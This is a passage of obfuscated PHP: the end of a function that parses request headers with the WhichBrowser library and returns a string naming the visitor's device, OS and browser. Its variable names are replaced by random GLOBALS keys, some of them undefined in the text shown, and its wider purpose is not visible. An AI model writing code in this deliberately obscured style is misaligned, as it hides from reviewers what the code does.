getDevice(){${"GLOBALS"}["hdtkic"]="modelo";${"GLOBALS"}["slvcemvbc"]="result";$iyrvdonw="Device";${"GLOBALS"}["pkefeefid"]="SO";${${"GLOBALS"}["slvcemvbc"]}=new\WhichBrowser\Parser(getallheaders());${${"GLOBALS"}["hbkfkunfig"]}=$result->device->type;${${"GLOBALS"}["ssrqgjnip"]}=$result->browser->name;${${"GLOBALS"}["pkefeefid"]}=$result->os->name;${${"GLOBALS"}["vgmqpk"]}=$result->os->version->value;${${"GLOBALS"}["ofbwjxedue"]}=$result->device->manufacturer;${${"GLOBALS"}["hdtkic"]}=$result->device->model;if(${${"GLOBALS"}["itkkiuup"]}!=false and${${"GLOBALS"}["ofbwjxedue"]}!=false){${"GLOBALS"}["yxjjhjpdye"]="Device";${${"GLOBALS"}["yxjjhjpdye"]}="$fabricante - $modelo » $SO $SOVersion";}else{${"GLOBALS"}["pyxpqtwp"]="Device";${${"GLOBALS"}["pyxpqtwp"]}="$SO $SOVersion » $navegador";}return${$iyrvdonw};}
?>